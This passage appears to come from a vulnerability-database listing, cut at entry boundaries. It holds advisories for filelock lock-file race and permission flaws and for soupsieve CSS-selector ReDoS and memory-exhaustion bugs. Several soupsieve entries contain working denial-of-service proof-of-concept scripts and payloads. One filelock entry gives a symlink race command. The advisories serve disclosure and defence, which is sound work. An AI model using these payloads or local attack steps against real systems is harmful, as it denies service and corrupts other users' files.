planted file until a heartbeat thread dies of `MemoryError`. `C:N` (no confidentiality impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on the other user winning initial ownership of the protocol directory. The scanner rated it high (CWE-283). With `AC:L` the same impacts would score 7.1. ## Scope and preconditions - The other user can create names in the directory that holds the lock. In a sticky `1777` directory such as `/tmp` any local user can. The sticky bit stops that user from renaming or removing a directory the lock user created, but does nothing for one the other user created first. - The other user gets there first: `<path>.filelock` (strict) or `<path>.rw` (soft read-write) must not exist when the lock user's process first acquires. `_strict.py` does not remove the directory at any point, so a path the lock user has already used stays safe for as long as the tree exists. The exposure is a new lock path, or one whose tree a reboot, a tmp cleaner, a cache purge or the recovery described in `docs/how-to.rst` removed. - For the strict lock the planted directory must be writable by the lock user (`0777`); a planted `0755` directory makes the lock user's acquire fail with `PermissionError` instead. Planting only the outer `<path>.filelock` is enough. The lock user creates `claims` inside it, and the other user, as owner of the parent, renames that `claims` aside and creates an empty one. - The Linux `fs.protected_regular`, `fs.protected_symlinks`, `fs.protected_hardlinks` and `fs.protected_fifos` sysctls (kernel settings, all enabled in the scanner's image) do not interfere. They cover regular files, symlinks, hard links and FIFOs, not directories. The `SoftReadWriteLock` symlink redirect below also passes `fs.protected_symlinks=1`, because the symlink (a file that points at another path) sits in the other user's own non-sticky directory. - The affected classes are `StrictSoftFileLock` and `AsyncStrictSoftFileLock` (which inherits `_acquire`), and `SoftReadWriteLock` and `AsyncSoftReadWriteLock` with default options. `FileLock` gives way to the same position (when the other user creates the lock file first with mode `0666` and unlinks it during a hold, a second lock user process acquires), so the strict lock is not weaker than the native one here. This advisory reports it because `StrictSoftFileLock` is the lock documented as fail-closed and already raises `SoftFileLockProtocolError` for a symlink or a regular file at the same names, while it uses a directory that belongs to someone else without any signal. The `SoftReadWri | GCVE Database | ||
| Medium | 6.1 | CVE-2026-112909gdown · filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path Medium6.1GCVE DatabaseCVE-2026-112909 `UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards. `O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2). Anthropic's OSS Scanner reported this in private. Finding covered by this advisory: - `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path. ## Severity **CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. `I:H` (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. `A:N` (no availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock's filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below. ## Scope and preconditions - Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with `O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version. - The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated: - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory); - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with `EPERM`; - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs. - What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds. - Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which n | GCVE Database | ||
| Medium | 5.3 | CVE-2026-112908gdown · filelock: StrictSoftFileLock creates its claim directories without the lock mode, so another local user with a write Medium5.3GCVE DatabaseCVE-2026-112908 `StrictSoftFileLock` and `AsyncStrictSoftFileLock` apply the caller's `mode` to the sentinel (the lock file at `<path>`) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, `<path>.filelock` and `<path>.filelock/claims`, with a bare `mkdir()`. That gives `0o777` filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL. A hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's `0600` claims. Three settings do this: umask `000` in a sticky directory such as `/tmp`, umask `002` with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting `is_locked == True` and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-AD6SUOON`). ## Severity **CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).** `AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the holder must pass a restrictive `mode` while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask `022` and no default ACL the directories are `0755`, and the kernel refuses the other user's unlink. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the holder's processes act on their own. `C:N` (no confidentiality impact): the `0600` claim files stay unreadable. `I:H` (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. `A:L` (low availability impact): the same write access lets the other user create names in `claims`, and an empty file named `held-v1-<32 zeros>.claim` makes the next `acquire()` raise `SoftFileLockProtocolError` ("malformed claim record") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732). ## Scope and preconditions - The holder passes a restrictive `mode` such as `0o600`. Without one, the umask decides the permissions by documented design (the "File permissions and mode" section of `docs/concepts.rst` defines `mode` only for the lock file). Umask `000` with the default mode gives the same two-holder result but is outside this finding. - The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with `mode=0o600` and the other user a member of group `team`: | lock's parent directory | holder's umask | `<path>.filelock` and `claims/` | who can unlink the claims | |---|---|---|---| | `1777`, like `/tmp` | `000` | `0777` | any other local user | | `root:team`, `3775` (setgid, so new entries inherit the group, and sticky) | `002` | `2775` | any member of `team` | | `root:team`, `1770`, default ACL `group:team:rwx` (`setfacl -d -m g:team:rwx`) | `077` | `0770` | any member of `team` | | `root:team`, `3775`, no ACL | `022` | `2755` | no one; the second process times out | The default-ACL row is the strongest. A holder with a private umask and `mode=0o600` still gets group-writable claim directories. The lock file in that row is `0600`, because its mode reaches `os.open` and masks the inherited ACL. - A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of `_ensure_protocol_directory` (the subject of GHSA-9c4x-gm8v-wgc4) plays no part. - Directories that an affected release already created keep their mode. A `0777` `<path>.filelock` from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should `chmod` or remove existing `<path>.filelock` trees (see Workarounds). - The other lock classes do not have this gap in the same setting. With umask `000` and `mode=0o600`, `FileLock` and `SoftFileLock` create one `0600` file and nothing else, and `SoftReadWriteLock` creates its directories `0700` under any umask. Platform: POSIX permission semantics; demonstrated on Linux. filelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. Tha | GCVE Database | ||
| Medium | 5.3 | CVE-2026-86000Soup Sieve · Polynomial-time ReDoS (O(n²)) in the `IDENTIFIER` / `VALUE` selector sub-patterns Medium5.3GCVE DatabaseCVE-2026-86000 ## Summary soupsieve compiles CSS selector strings with a set of hand-written regular expressions. The shared `IDENTIFIER` sub-pattern (also embedded in `VALUE`, and therefore in attribute selectors) places two adjacent quantified groups over overlapping character classes: `(?:[classA]|ESC)+(?:[classB]|ESC)*`, where both classes match ordinary identifier characters such as `a`. When a selector contains a long identifier/value run that must ultimately fail to match (e.g. an attribute value with no closing `]`, or an identifier followed by an invalid character), the regex engine backtracks across all O(n) ways to split the run between the `+` group and the `*` group, giving O(n²) parse time. A single attacker-controlled selector of a few kilobytes stalls the interpreter for many seconds of CPU; tens of kilobytes reach minutes. ## Trust model (Q0) The selector string is the input. It reaches this code via `soupsieve.compile()`, `soupsieve.select/iselect/match/filter`, and — most commonly — BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`, which delegate to soupsieve. This is exploitable in any application that passes a user-controlled CSS selector to BeautifulSoup/soupsieve (scrapers that accept selectors, no-code extraction tools, admin/query UIs). Applications that only use hard-coded selectors are not affected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # lines 122-126 IDENTIFIER = fr''' (?:(?:-?(?:[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})+|--) (?:[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]|{CSS_ESCAPES})*) ''' # line 129 — VALUE embeds IDENTIFIER (so attribute values inherit the pattern) VALUE = fr'''(?:"(?:\\(?:.|{NEWLINE})|[^\\"\r\n\f])*?"|'...'|{IDENTIFIER})''' ``` - classA `[^\x00-\x2f\x30-\x40\x5B-\x5E\x60\x7B-\x9f]` excludes digits (0x30-0x39); classB `[^\x00-\x2c\x2e\x2f\x3A-\x40\x5B-\x5E\x60\x7B-\x9f]` allows digits. The intent is "first char not a digit, remaining chars may be digits." - Both classes match ordinary letters (e.g. `a` = 0x61). The construct is therefore effectively `(?:C)+(?:C)*` over an overlapping class C — the canonical adjacent-quantifier shape that backtracks quadratically on a failing match. The quadratic only manifests when the overall match must fail. `IDENTIFIER` matched greedily on `"a"*n` succeeds in linear time (~1 ms at n=32000). Anchoring it so a following element is mandatory and fails (`IDENTIFIER + "$"` against `"a"*n + "!"`) reproduces the O(n²) directly: n=2000 → 44 ms, 4000 → 257 ms, 8000 → 743 ms, 16000 → 2944 ms (~×4 per ×2). Profiling `compile("[a=" + "a"*4000)` shows only 12 `re.match` calls consuming 2.685 s — i.e. the cost is inside a single regex match, confirming regex backtracking (not loop overhead). ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_compile.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_compile.py` → same O(n²) (evidence: `poc/evidence_redos_compile_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_compile.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def compile_time(sel): t0 = time.perf_counter() try: sv.compile(sel) status = "ok" except Exception as e: status = type(e).__name__ return (time.perf_counter() - t0), status print(f"soupsieve {sv.__version__}\n") print("Payload A: '[a=' + 'a'*n (unterminated attribute value)") for n in (1000, 2000, 4000, 8000): dt, st = compile_time("[a=" + "a" * n) print(f" n={n:<6} len={3+n:<7} {dt*1000:9.1f} ms [{st}]") print("\nPayload B: 'a'*n + '!' (identifier run + invalid trailing char)") for n in (2000, 4000, 8000, 16000): dt, st = compile_time("a" * n + "!") print(f" n={n:<6} len={n+1:<7} {dt*1000:9.1f} ms [{st}]") payload = "[a=" + "a" * 12000 dt, st = compile_time(payload) print(f"\n[+] Single call: compile('[a=' + 'a'*12000) (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` End-to-end note: `bs4.BeautifulSoup(html).select(payload)` reaches the same `compile()` path, so the stall is triggerable directly through BeautifulSoup with a user-supplied selector. Verified on bs4 4.15.0 + soupsieve 2.8.4: `soup.select("[a=" + "a"*6000)` took ~5.0 s for one call (evidence: `poc/evidence_bs4_select_PUBLISHED_2.8.4.log`). ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_compile.log`) ``` soupsieve 2.9 Payload A: '[a=' + 'a'*n (unterminated attribute value) n=1000 len=1003 214.8 ms [SelectorSyntaxError] n=2000 len=2003 504.7 ms [SelectorSyntaxError] n=4000 len=4003 2031.9 ms [SelectorSyntaxError] n=8000 len=8003 8091.3 ms [SelectorSyntaxError] Payload B: 'a'*n + '!' (identifier run + invalid trailing char) n=20 | GCVE Database | ||
| Medium | 5.3 | CVE-2026-85999gdown · Soup Sieve: Polynomial-time ReDoS (O(n²)) Medium5.3GCVE DatabaseCVE-2026-85999 ## Summary Before tokenizing, `selector_iter` trims leading/trailing whitespace and comments by running two regexes over the whole raw selector with `.search()`. The trailing one, `RE_WS_END = re.compile(r'{WSC}*$')`, is anchored only at the end (`$`), not the start. Because `.search()` retries the pattern at every offset, a long run of whitespace or CSS comments that is not sitting exactly at the end of the string makes each retry greedily consume the run and then fail `$`, producing O(n²) time. This triggers on perfectly valid selectors — e.g. a descendant combinator with a long whitespace gap, `a` + `" "*n` + `b` — so no malformed input is required. A single valid ~20 KB selector stalls the interpreter for ~10 s of CPU. ## Trust model (Q0) The selector string is the input, reaching this code via `soupsieve.compile()`, the `soupsieve.select/iselect/match/filter` helpers, and BeautifulSoup's `soup.select(selector)` / `soup.select_one(selector)`. Exploitable wherever an application passes a user-controlled CSS selector to BeautifulSoup/soupsieve. Applications using only hard-coded selectors are unaffected. ## Root cause (exact anchors) — `src/soupsieve/css_parser.py` ```python # line 185-186 RE_WS_BEGIN = re.compile(fr'^{WSC}*') # anchored at start -> .search() only tries pos 0 -> linear (safe) RE_WS_END = re.compile(fr'{WSC}*$') # NOT anchored at start -> .search() tries every offset # selector_iter, lines ~1322-1326 m = RE_WS_BEGIN.search(pattern) index = m.end(0) if m else 0 m = RE_WS_END.search(pattern) # <-- O(n^2) here end = (m.start(0) - 1) if m else (len(pattern) - 1) ``` `WSC = (?:{WS}|{COMMENTS})`. For `RE_WS_END = (?:WS|COMMENTS)*$`, `.search()` walks start offsets 0..n. Whenever the offset lands inside a long whitespace/comment run, `(?:WS|COMMENTS)*` greedily consumes to the run's end, then `$` fails (a non-whitespace char follows), the engine backtracks the whole run, the offset advances by one, and the work repeats — O(n) offsets × O(n) per attempt = O(n²). `RE_WS_BEGIN` avoids this because `^` pins it to a single start offset. The intent (trim trailing whitespace/comments) can be met with an anchored/loopless approach; the current unanchored `.search()` of a `*$` pattern is the defect. ## Reproduction environment (discipline #12 — published artifact) - git HEAD `751c57b` (2.9, `PYTHONPATH=src`): `cd src && python3 ../poc/poc_redos_ws_trim.py`. - Published PyPI `soupsieve 2.8.4` (fresh `uv pip install soupsieve beautifulsoup4`): `cd poc && ../.venv-published/bin/python poc_redos_ws_trim.py` → same O(n²) (evidence: `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`). - Python 3.11.15 and 3.14.6 both reproduce. ## PoC (`poc/poc_redos_ws_trim.py`) ```python import sys, time sys.path.insert(0, ".") import soupsieve as sv def ct(sel): t0 = time.perf_counter() try: sv.compile(sel); st = "ok" except Exception as e: st = type(e).__name__ return time.perf_counter() - t0, st print(f"soupsieve {sv.__version__}\n") print("VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace):") for n in (2000, 4000, 8000, 16000): dt, st = ct("a" + " " * n + "b") print(f" n={n:<6} len={n+2:<7} {dt*1000:9.1f} ms [{st}]") payload = "a" + " " * 20000 + "b" dt, st = ct(payload) print(f"\n[+] Single call: compile('a' + ' '*20000 + 'b') (len={len(payload)})") print(f"[+] wall time = {dt:.2f} s [{st}]") ``` Isolated confirmation that the cost is in `RE_WS_END.search` specifically (`poc/isolate_ws_trim.py`): `RE_WS_END` on `"div"+" "*n+">"` is O(n²) (2000→100 ms, 4000→448 ms, 8000→1622 ms, 16000→6719 ms), while the start-anchored `RE_WS_BEGIN` on `" "*n+"x"` stays linear (32000→1.5 ms). Profiling `compile` shows the entire wall time in 2 `re.Pattern.search` calls, not `.match`. ## Evidence — HEAD 2.9 (verbatim `poc/evidence_redos_ws_trim.log`) ``` soupsieve 2.9 VALID selector 'a' + ' '*n + 'b' (descendant combinator, lots of whitespace): n=2000 len=2002 112.3 ms [ok] n=4000 len=4002 411.5 ms [ok] n=8000 len=8002 1602.9 ms [ok] n=16000 len=16002 6464.1 ms [ok] VALID-looking 'a' + '/*x*/'*n + 'b' (CSS comment run): n=1000 len=5002 48.9 ms [SelectorSyntaxError] n=2000 len=10002 194.8 ms [SelectorSyntaxError] n=4000 len=20002 780.2 ms [SelectorSyntaxError] n=8000 len=40002 3145.3 ms [SelectorSyntaxError] [+] Single call: compile('a' + ' '*20000 + 'b') (len=20002) [+] wall time = 10.23 s [ok] ``` ## Evidence — published 2.8.4 (verbatim `poc/evidence_redos_ws_trim_PUBLISHED_2.8.4.log`) ``` soupsieve 2.8.4 VALID selector 'a' + ' '*n + 'b': n=2000 len=2002 102.7 ms [ok] n=4000 len=4002 404.3 ms [ok] n=8000 len=8002 1618.2 ms [ok] n=16000 len=16002 6457.9 ms [ok] [+] Single call: compile('a' + ' '*20000 + 'b') wall time = 10.11 s [ok] ``` ## Impact — calibrated - Confirmed: quadrati | GCVE Database | ||
| High | 7.5 | High7.5GCVE DatabaseCVE-2026-49477 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) contains a regular expression vulnerable to catastrophic backtracking. When processing an attribute selector with an unterminated quoted value, the `VALUE` regex pattern in `css_parser.py` enters exponential backtracking. A payload of only **300 bytes** causes the regex engine to hang for **over 3 seconds**, enabling a trivial Regular Expression Denial of Service (ReDoS) attack. To be completely transparent, AI tools helped surface this issue. However, this was independently reproduced and carefully validated. Any application that passes untrusted CSS selector strings to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` is affected. ### Details **Affected code:** `soupsieve/css_parser.py`, line ~121 - `RE_VALUES` / `VALUE` regex pattern The soupsieve CSS parser uses a compiled regular expression to tokenise attribute selector values. This pattern matches both quoted strings (`"value"` or `'value'`) and unquoted identifiers. The regex contains alternation branches for: 1. Double-quoted strings: `"[^"\\]*(?:\\.[^"\\]*)*"` 2. Single-quoted strings: `'[^'\\]*(?:\\.[^'\\]*)*'` 3. Unquoted identifiers When an attribute selector contains an **unterminated quoted value** - e.g., `[a="xxxx...` (opening `"` but no closing `"`) -” the regex engine attempts to match the quoted-string branch. After that branch fails (no closing quote), the engine backtracks and attempts to match the remaining input against subsequent alternation branches and parent patterns. The structure of the pattern causes **catastrophic backtracking** where the number of backtracking steps grows exponentially with the length of the content between the opening quote and the end of the string. **Root cause:** The regex pattern does not anchor or guard against the case where a quoted string is never terminated. The overlapping character classes across alternation branches create exponential backtracking when the quoted-string branch fails on long input. **Key characteristics:** - **Input size:** Only 300 bytes are needed to trigger a >3 second hang - **Amplification:** Each additional character approximately doubles the backtracking time - **No memory impact:** The attack consumes CPU only (regex backtracking is compute-bound) ### Proof of Concept ```python import time import soupsieve as sv PAYLOAD_LEN = 300 # Control: well-formed selector with terminated quote (completes instantly) well_formed = '[a="' + ('x' * PAYLOAD_LEN) + '"]' start = time.perf_counter() try: sv.compile(well_formed) except Exception: pass control_time = time.perf_counter() - start print(f"Well-formed selector ({len(well_formed)} bytes): {control_time:.4f}s") # Exploit: unterminated quote triggers catastrophic regex backtracking malformed = '[a="' + ('x' * PAYLOAD_LEN) start = time.perf_counter() try: sv.compile(malformed) # WARNING: This will hang for >3 seconds except Exception: pass exploit_time = time.perf_counter() - start print(f"Malformed selector ({len(malformed)} bytes): {exploit_time:.4f}s") slowdown = exploit_time / max(control_time, 1e-9) print(f"Slowdown: {slowdown:.0f}x") # Expected output: # Well-formed selector (306 bytes): ~0.001s # Malformed selector (304 bytes): >3.0s (may need to be killed) # Slowdown: >3000x # # NOTE: On some systems the malformed selector may hang indefinitely. # Use a timeout mechanism (signal.alarm, threading.Timer) when testing. ``` **Safe testing variant with timeout:** ```python import signal import soupsieve as sv def timeout_handler(signum, frame): raise TimeoutError("ReDoS confirmed: regex backtracking exceeded timeout") PAYLOAD_LEN = 300 malformed = '[a="' + ('x' * PAYLOAD_LEN) signal.signal(signal.SIGALRM, timeout_handler) signal.alarm(3) # 3-second timeout try: sv.compile(malformed) print("Selector compiled (not vulnerable)") except TimeoutError as e: print(f"VULNERABLE: {e}") except Exception as e: print(f"Other error: {e}") finally: signal.alarm(0) # Cancel the alarm ``` ### Impact **Severity: High** An attacker can cause CPU exhaustion on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. The attack is particularly dangerous because: 1. **Tiny payload:** Only 300 bytes are needed - well within typical URL parameter, form field, or API request limits 2. **No special characters:** The payload consists entirely of printable ASCII characters (`[a="xxx...`) 3. **Exponential scaling:** Each additional byte approximately doubles the backtracking time, making the attack easily tuneable 4. **Thread blocking:** The regex engine blocks the calling thread with no opportunity for interruption (except via OS signals) | Parameter | Value | |---|---| | Input size | 300 bytes | | CPU time consumed | >3 seconds (exponential with payload length) | | Memory consumed | Negligible (CPU-only attack) | | Authentication requir | GCVE Database | ||
| High | 7.5 | High7.5GCVE DatabaseCVE-2026-49476 ### Summary The CSS selector parser in soupsieve (the CSS selector engine for Beautiful Soup 4) allocates unbounded memory when compiling large comma-separated selector lists. An attacker who can supply a crafted CSS selector string to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()` can cause the application to allocate hundreds of megabytes of heap memory from a relatively small input, leading to memory exhaustion and denial of service. To be completely transparent, AI tools helped surface this issue. However, it was independently reproduced and carefully validated. Researchers follow responsible disclosure practices and originally shared this report privately. A **500 KB** selector string triggers allocation of approximately **244 MB** of heap memory - a 488x— amplification ratio**. ### Details **Affected code:** `soupsieve/css_parser.py`, lines ~204, 925, 1106 The soupsieve CSS parser splits comma-separated selector lists and creates one `CSSSelector` object per list item. Each `CSSSelector` object contains parsed selector data structures including `SelectorList`, `Selector`, and associated tag/attribute/pseudo-class metadata. When a selector string such as `a,a,a,...` (with 250,000 comma-separated items) is passed to `sv.compile()`, the parser: 1. Tokenises the entire string and identifies each comma-delimited segment (line ~1106) 2. Parses each segment into a full `Selector` object with all associated metadata (line ~925) 3. Stores all parsed selectors in a `SelectorList` (line ~204) **Root cause:** No limit is enforced on the number of selectors in a comma-separated list. The parser will attempt to parse and store an arbitrary number of selectors, with each selector object consuming approximately **976 bytes** of heap memory. The total allocation scales linearly with the number of list items, but the amplification ratio (output memory / input bytes) is extremely high because each single-character selector like `a` expands into a complex object graph. **Attack surface:** Any application that passes user-supplied CSS selectors to `soupsieve.compile()` or Beautiful Soup's `.select()` / `.select_one()`. ### Proof of Concept ```python import tracemalloc import soupsieve as sv tracemalloc.start() # Build a 500 KB selector string: "a,a,a,...,a" (250,000 items) count = 250_000 selector = ",".join("a" for _ in range(count)) print(f"Selector string size: {len(selector):,} bytes ({len(selector) / 1024:.0f} KB)") # Compile the selector — this allocates ~244 MB compiled = sv.compile(selector) current, peak = tracemalloc.get_traced_memory() tracemalloc.stop() print(f"Compiled selector count: {len(compiled.selectors):,}") print(f"Current memory: {current / 1024 / 1024:.1f} MB") print(f"Peak memory: {peak / 1024 / 1024:.1f} MB") print(f"Amplification ratio: {peak / len(selector):.0f}x") # Expected output: # Selector string size: 499,999 bytes (488 KB) # Compiled selector count: 250,000 # Current memory: ~244 MB # Peak memory: ~244 MB # Amplification ratio: ~488x ``` ### Impact **Severity: High** An attacker can exhaust available memory on any server-side Python application that compiles user-supplied CSS selectors via soupsieve. This can cause: - **OOM kills** in containerised deployments (Kubernetes pods, Docker containers) with memory limits - **Swap thrashing** on bare-metal servers, degrading performance for all co-located processes - **Process termination** via Python's `MemoryError` exception if the system runs out of addressable memory | Parameter | Value | |---|---| | Input size | ~500 KB selector string | | Memory allocated | ~244 MB | | Amplification ratio | ~488× | | Per-object overhead | ~976 bytes per selector | | Authentication required | None | | User interaction required | None | **Scalability of attack:** The memory allocation scales linearly - doubling the selector count doubles memory usage. An attacker can tune the payload to exactly exhaust a target's memory limits. Multiple concurrent requests multiply the effect. **Downstream exposure:** soupsieve is an automatic dependency of `beautifulsoup4`, one of the most widely installed Python packages. Any web application accepting CSS selectors from users (e.g., web scraping APIs, content filtering tools, CMS preview features) is potentially affected. --- ### Credit Discovered by a security research team from the University of Sydney, focused on detecting open source software vulnerabilities. Liyi Zhou: https://lzhou1110.github.io/ Ziyue Wang: https://zyy0530.github.io/ Strick: https://str1ckl4nd.github.io/ Maurice: https://maurice.busystar.org/ Chenchen Yu: https://7thparkk.github.io/ | GCVE Database | ||
| Medium | 5.3 | CVE-2026-22701Gdown · filelock Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock Medium5.3GCVE DatabaseCVE-2026-22701 ## Vulnerability Summary **Title:** Time-of-Check-Time-of-Use (TOCTOU) Symlink Vulnerability in SoftFileLock **Affected Component:** `filelock` package - `SoftFileLock` class **File:** `src/filelock/_soft.py` lines 17-27 **CWE:** CWE-362, CWE-367, CWE-59 --- ## Description A TOCTOU race condition vulnerability exists in the `SoftFileLock` implementation of the filelock package. An attacker with local filesystem access and permission to create symlinks can exploit a race condition between the permission validation and file creation to cause lock operations to fail or behave unexpectedly. The vulnerability occurs in the `_acquire()` method between `raise_on_not_writable_file()` (permission check) and `os.open()` (file creation). During this race window, an attacker can create a symlink at the lock file path, potentially causing the lock to operate on an unintended target file or leading to denial of service. ### Attack Scenario ``` 1. Lock attempts to acquire on /tmp/app.lock 2. Permission validation passes 3. [RACE WINDOW] - Attacker creates: ln -s /tmp/important.txt /tmp/app.lock 4. os.open() tries to create lock file 5. Lock operates on attacker-controlled target file or fails ``` --- ## Impact _What kind of vulnerability is it? Who is impacted?_ This is a **Time-of-Check-Time-of-Use (TOCTOU) race condition vulnerability** affecting any application using `SoftFileLock` for inter-process synchronization. **Affected Users:** - Applications using `filelock.SoftFileLock` directly - Applications using the fallback `FileLock` on systems without `fcntl` support (e.g., GraalPy) **Consequences:** - **Silent lock acquisition failure** - applications may not detect that exclusive resource access is not guaranteed - **Denial of Service** - attacker can prevent lock file creation by maintaining symlink - **Resource serialization failures** - multiple processes may acquire "locks" simultaneously - **Unintended file operations** - lock could operate on attacker-controlled files **CVSS v4.0 Score:** 5.6 (Medium) **Vector:** CVSS:4.0/AV:L/AT:L/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N **Attack Requirements:** - Local filesystem access to the directory containing lock files - Permission to create symlinks (standard for regular unprivileged users on Unix/Linux) - Ability to time the symlink creation during the narrow race window --- ## Patches _Has the problem been patched? What versions should users upgrade to?_ Yes, the vulnerability has been patched by adding the `O_NOFOLLOW` flag to prevent symlink following during lock file creation. **Patched Version:** Next release (commit: 255ed068bc85d1ef406e50a135e1459170dd1bf0) **Mitigation Details:** - The `O_NOFOLLOW` flag is added conditionally and gracefully degrades on platforms without support - On platforms with `O_NOFOLLOW` support (most modern systems): symlink attacks are completely prevented - On platforms without `O_NOFOLLOW` (e.g., GraalPy): TOCTOU window remains but is documented **Users should:** - Upgrade to the patched version when available - For critical deployments, consider using `UnixFileLock` or `WindowsFileLock` instead of the fallback `SoftFileLock` --- ## Workarounds _Is there a way for users to fix or remediate the vulnerability without upgrading?_ For users unable to update immediately: 1. **Avoid `SoftFileLock` in security-sensitive contexts** - use `UnixFileLock` or `WindowsFileLock` when available (these were already patched for CVE-2025-68146) 2. **Restrict filesystem permissions** - prevent untrusted users from creating symlinks in lock file directories: ```bash chmod 700 /path/to/lock/directory ``` 3. **Use process isolation** - isolate untrusted code from lock file paths to prevent symlink creation 4. **Monitor lock operations** - implement application-level checks to verify lock acquisitions are successful before proceeding with critical operations --- ## References _Are there any links users can visit to find out more?_ - **Similar Vulnerability:** CVE-2025-68146 (TOCTOU vulnerability in UnixFileLock/WindowsFileLock) - **CWE-362 (Concurrent Execution using Shared Resource):** https://cwe.mitre.org/data/definitions/362.html - **CWE-367 (Time-of-check Time-of-use Race Condition):** https://cwe.mitre.org/data/definitions/367.html - **CWE-59 (Improper Link Resolution Before File Access):** https://cwe.mitre.org/data/definitions/59.html - **O_NOFOLLOW documentation:** https://man7.org/linux/man-pages/man2/open.2.html - **GitHub Repository:** https://github.com/tox-dev/filelock --- **Reported by:** George Tsigourakos (@tsigouris007) | GCVE Database | 